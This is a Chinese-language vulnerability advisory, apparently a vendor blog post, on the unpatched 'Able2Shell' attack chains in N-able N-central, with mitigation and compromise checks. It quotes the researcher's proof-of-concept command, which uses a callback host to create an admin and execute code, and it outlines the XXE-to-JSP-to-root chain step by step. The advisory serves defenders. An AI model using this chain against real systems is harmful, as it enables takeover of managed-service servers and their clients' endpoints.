我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

深度解析

深度解析

N-able N-central RCE:33 个零日漏洞,暂无补丁(Able2Shell)

N-able N-central 的 Able2Shell 攻击链让未认证攻击者以 nable 或 root 身份执行代码,目前没有补丁。

TL;DR

  • 一名研究人员公开了 N-able N-central 中的 33 个漏洞和 4 条攻击链。N-central 是托管服务提供商用来管理客户终端的远程监控与管理平台。这些攻击链可达到以 nable 用户或 root 身份执行代码。
  • 研究人员在 N-central Appliance 2026.4.0.31 上测试,并表示较早版本很可能受影响。N-able 尚未发布公开公告或修复版本。
  • N-able 已下线 Hosted N-central,并要求本地部署客户关闭服务器。该公司表示未发现利用迹象,正在开发紧急修复。
  • 截至 2026 年 11 月 10 日,Able2Shell 的 33 个漏洞均未列入 CISA 的 Known Exploited Vulnerabilities(KEV)目录。此前的五个 N-central CVE(CVE-2025-8875、CVE-2025-8876、CVE-2026-18577、CVE-2026-18556、CVE-2026-86218)已列入,说明该产品线曾遭受攻击。
  • 将 N-central 与互联网隔离,限制控制台访问到可信网络,并执行“如何检查是否已遭入侵?”中的检查。参见“如何修复?”。

我受影响吗?

以下条件全部成立时,你受影响:

  • 你运行 N-able N-central,包括本地部署设备或托管服务。
  • 设备版本为 2026.4.0.31 或更早。研究人员测试了 2026.4.0.31,并表示较早版本和当前版本很可能受影响。
  • 攻击者可通过网络访问 N-central Web 界面。主要攻击链不需要账户。

无论披露时你的租户是否可访问,托管服务都受到 N-able 下线的影响。N-able 表示作为预防措施下线了 Hosted N-central 环境。

N-able 尚未发布公开公告、修复版本矩阵或版本检查命令。请在控制台记录设备版本,并在 N-able 发布矩阵前将任何 2026.4 版本视为受影响。研究人员的仓库将测试版本标为 2026.4.0.31。

分支 受影响版本 修复版本
N-central Appliance(本地部署) 2026.4.0.31,已测试;研究人员称较早版本很可能受影响 未发布;N-able 表示紧急修复正在进行
Hosted N-central N-able 的托管服务,已下线 无;服务处于离线状态

如何修复?

目前没有补丁。网络隔离是当前唯一有效的控制措施,可关闭研究人员演示的远程路径。

  1. 立即将 N-central 服务器移出互联网。仅允许来自管理 VLAN、VPN 或固定管理员地址列表的控制台访问。
  2. 如果服务器曾可从互联网访问,将其视为可能已遭入侵。保留日志和磁盘镜像用于调查,然后从已知良好的镜像重建,并轮换其存储的所有凭据。
  3. 关注 N-able 的状态页面和信任中心以获取紧急修复。发布后立即应用,然后对照 N-able 的矩阵重新检查版本。
  4. 删除或禁用你不认识的 N-central 账户,先从研究人员攻击链创建的 1002 角色管理员开始。
  5. 检查设备的出站连接及其托管代理策略。N-central 可以向每台已注册终端推送脚本和命令,因此服务器被入侵会危及客户环境。

该缓解措施有局限。隔离阻止通过网络利用。它不能阻止已在管理网络上的攻击者,也不能删除攻击者已创建的账户或 JSP。只有疑似入侵后的重建才能处理这些情况。

根本原因是什么?

N-able 尚未发布补丁或源代码。这里的根本原因是研究人员在公开 Able2Shell 仓库中记录的机制:旧版接口族信任调用方提供的身份和会话状态,特权助手消费 nable 用户可写的文件。

设备在现代控制台旁边暴露三个旧版接口族:MMS2、MMS3 和 ServerEI2。其中多个从请求而不是从已认证会话接受身份。

  • 服务导入解析器在检查提供的 UI 会话之前解析攻击者提供的外部实体。因此匿名调用方可以窃取轮换的 NCI 会话并复用其本地信任上下文。
  • MMS3 通行码由设备的十进制 ID 确定性派生。因此匿名调用方可以生成并确认 JWT,创建设备会话。
  • 特权助手消费 nable 可写目录中的配置,不检查所有权、包含关系或完整性。syslog 安装器、升级前助手和 sendmail 选项处理是研究人员演示的三个例子。

公开的概念验证展示了组合后的匿名攻击链。以下是研究人员的命令,仅保留选择攻击链的参数:

$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host <CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --create-admin-username <NEW_ADMIN_USERNAME> --create-admin-password '<NEW_ADMIN_PASSWORD>' --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0

输出记录了两个结果:一个启用的 1002 角色管理员账户,以及以 uid=992(nable) 执行命令。

如何被利用?

匿名攻击链从未认证请求到以 nable 执行代码分为五步。

  1. 攻击者发送匿名 MMS2 服务导入请求,其 XML 引用攻击者控制的 DTD。
  2. 解析器在实施 UI 会话之前解析外部实体。响应或回调泄露轮换的 NCI 会话,攻击者复用设备的本地信任上下文。
  3. 借助该上下文,攻击者重置现有产品管理员的密码,或通过同一攻击链创建新的 1002 角色管理员。
  4. 攻击者登录,并使用文件写入原语将可执行 JSP 放入已部署的 Jetty Web 根目录。服务导入链、SIS GenericFiles 版本遍历和 File Repository 文件名遍历各自提供一种方式。
  5. JSP 以 nable 服务账户运行。随后攻击者将配置文件放入 nable 可写且由 root 助手消费的目录,助手以 root 执行该文件。

研究人员记录了多种其他达到 nable 或 root 的方法,包括备份恢复通知选项注入、自校验 NSP 上传和升级前助手。从 MMS3 补丁元数据中的匿名存储 XSS 开始的攻击链,也可通过 Audit Export 的 syslog-ng 语法注入达到 root。

研究人员还公开了 GenericTCP 命令路径中需要 ProductAdmin 认证的栈溢出。该概念验证针对禁用 ASLR 的单 worker 隔离实验室校准,其自然字节仅执行固定的 ps 命令,随后 worker 崩溃。应将其视为实验室结果,而不是可靠的远程利用。

攻击如何展开?

未认证请求到达旧版解析器,该解析器在检查会话之前解析 XML 实体。由此获得的会话信任再加上文件写入,最终以 nable 执行代码,并通过特权助手进入 root。

flowchart LR A["匿名 MMS2 服务导入"] --> B["XML 解析器在检查会话前解析外部实体"] B --> C["窃取 NCI 会话并复用本地信任"] C --> D["重置管理员密码或创建 1002 角色账户"] D --> E["将 JSP 写入 Jetty Web 根目录"] E --> F["以 nable 执行代码"] F --> G["root 助手消费 nable 可写配置"] G --> H["以 root 执行代码"]

攻击者能做什么?

完成攻击链的攻击者控制 N-central 服务器,并通过它控制其管理的终端。研究人员演示了以 nable 和 root 执行命令。他还展示了创建启用的管理员账户、泄露资产发现数据库凭据和可复用的 Ecosystem Agent 凭据,以及篡改远程控制审计记录。

条件是影响的一部分:

  • 攻击者需要能通过网络访问 N-central Web 界面。主要攻击链不需要账户,也不需要用户交互。
  • 部分单个漏洞需要 ProductAdmin 或 Technician 账户。对于已经窃取会话或重置密码的攻击者,这些账户仍然有用。
  • 通过 syslog 安装器以 root 执行,需要先有 nable 执行原语。研究人员组合了两个步骤;两者都不是独立的从网络到 root 的步骤。
  • GenericTCP 栈溢出需要 ProductAdmin 账户和研究人员的实验室条件。

N-able 表示未观察到这些漏洞的利用。此前的 N-central 漏洞是另一回事:CISA 已将五个 N-central CVE 列入 Known Exploited Vulnerabilities 目录,表明该产品线此前已被攻击。

为什么修复有效?

没有公开补丁,因此本节说明修复必须改变什么。只关闭一个原语的补丁会让攻击链继续存在,因为研究人员组合了会话窃取、文件写入和特权助手。

完整修复必须做三件事:

  • 在任何 XML 解析器解析外部实体之前验证请求及其会话,并在服务导入和自定义服务解析器中拒绝外部实体。
  • 将以设备 ID 派生的 MMS3 通行码替换为与设备绑定并轮换的随机密钥,并在每个受保护处理程序中拒绝伪造的设备会话。
  • 让每个 root 助手验证其消费文件的所有权、路径和完整性,使 nable 可写目录不能变成 root 执行。

在 N-able 发布这些更改之前,隔离是消除远程路径的控制措施。它不能修复已经遭入侵的服务器。

如何检查是否已遭入侵?

研究人员未发布入侵指标,因此这些检查寻找已演示攻击链造成的状态。命中是线索,不是证据。

  • 列出 N-central 管理员账户,寻找你未创建的 1002 角色账户。公开攻击链会创建一个,除非请求清理,否则保持启用。
  • 在已部署的 Web 根目录中查找你未部署的 JSP 文件。服务导入、SIS 和 File Repository 原语会将可执行 JSP 写入 Jetty 目录树。
  • 检查 Audit Export 目标中是否有你未配置的 program() 条目。Audit Export 注入会添加一个,并以 root 运行。
  • 检查计划任务及其参数中是否有你不认识的 GenericTCP 命令、任务 ID 和参数数量。GenericTCP 概念验证在一个任务上设置包含 41 个参数的命令。
  • 检查不是你发起的密码重置和管理员登录,并将其与对 MMS2、MMS3 和 ServerEI2 端点的匿名请求关联。
  • 检查设备和托管代理的出站连接中是否有你不认识的主机。

失败的尝试可能不留痕迹。如果任何检查命中,请保留日志并重建服务器,而不是就地清理。

时间线

  • 2025-08-13:CISA 将 N-central 的两个漏洞 CVE-2025-8875 和 CVE-2025-8876 加入 KEV。
  • 2026-08-03:CISA 将 N-central 认证绕过和账户接管漏洞 CVE-2026-18577 加入 KEV。
  • 2026-08-04:CISA 将 N-central 认证绕过漏洞 CVE-2026-18556 加入 KEV。
  • 2026-09-08:CISA 将认证前 N-central 代码注入漏洞 CVE-2026-86218 加入 KEV。
  • 2026-11-09:研究人员公开 33 个漏洞和 4 条攻击链;N-able 下线 Hosted N-central,并要求本地部署客户关闭服务器。

Able2Shell 披露前的五次 N-central KEV 收录
图 1:在 Able2Shell 披露之前,CISA 已将五个 N-central 漏洞列为已利用。来源:CISA Known Exploited Vulnerabilities 目录,2026 年 11 月 10 日检查

常见问题

Able2Shell 是否已在野利用?

没有确认的利用。N-able 表示未发现活跃利用迹象,研究人员展示的是带有公开概念验证代码的实验室演示。此前的五个 N-central CVE 已在 CISA KEV 中,表明该产品线是攻击目标。

有补丁吗?

没有。N-able 表示正在开发紧急修复,并在此期间下线了托管服务。研究人员称这些漏洞在测试的最新预发布版本上仍然有效,且未修复。

托管服务下线是否意味着我的数据被访问?

N-able 没有这样说。该公司将下线描述为预防措施,并表示未发现利用迹象。它尚未发布客户通知或取证报告。

概念验证脚本需要凭据吗?

主要攻击链不需要。匿名服务导入链不需要账户,并且可以创建管理员。其他条目需要 ProductAdmin 或 Technician 账户,攻击者可通过第一条链获得。

较早的 N-central 版本受影响吗?

很可能。研究人员测试了 2026.4.0.31,并写道较早版本应该受影响,包括发布时的最新版本。N-able 尚未发布受影响版本矩阵。

为什么 RMM 被入侵比单台服务器被入侵更重要?

N-central 管理许多客户组织的终端。被入侵的服务器可以向每台已注册设备推送脚本、安装软件并打开远程会话,因此一次设备入侵可能暴露托管服务提供商的整个客户环境。

使用 Ostorlab 查找暴露的 N-central 服务器

Ostorlab 攻击面发现会清点你环境中暴露在互联网上的主机和设备。随后你可以找到仍可访问的 N-central 控制台,并优先将其移出网络。这是暴露主机清单,不是对该攻击链的检测。

参考文献

  • Oracle-Security/CVEs,“Able2Shell - N-Central N-Able”,33 个漏洞说明、4 条攻击链和概念验证脚本:https://github.com/Oracle-Security/CVEs/tree/main/0-Days/N-Central%20N-Able (2026 年 11 月 10 日检查)
  • The Hacker News,“N-able Takes Hosted N-central Offline After Researcher Discloses 33 Zero-Days with PoC Exploits”,2026 年 11 月 10 日,N-able 的声明、受影响服务和研究人员披露:https://thehackernews.com/2026/11/n-able-takes-hosted-n-central-offline.html (2026 年 11 月 10 日检查)
  • N-able 状态仪表板,Hosted N-central 服务状态:https://uptime.n-able.com/ (2026 年 11 月 10 日检查)
  • CISA Known Exploited Vulnerabilities 目录 JSON 源,五个 N-central 条目(CVE-2025-8875、CVE-2025-8876、CVE-2026-18577、CVE-2026-18556、CVE-2026-86218):https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (2026 年 11 月 10 日检查)
  • CVE-2026-86218 记录,认证前 N-central 代码注入:https://www.cve.org/CVERecord?id=CVE-2026-86218 (2026 年 11 月 10 日检查)
  • 研究人员的匿名 XXE 攻击链概念验证:https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/anonymous_xxe_nable_rce.py (2026 年 11 月 10 日检查)
  • 研究人员的 syslog 安装器 root 概念验证:https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/syslog_installer_root_rce.py (2026 年 11 月 10 日检查)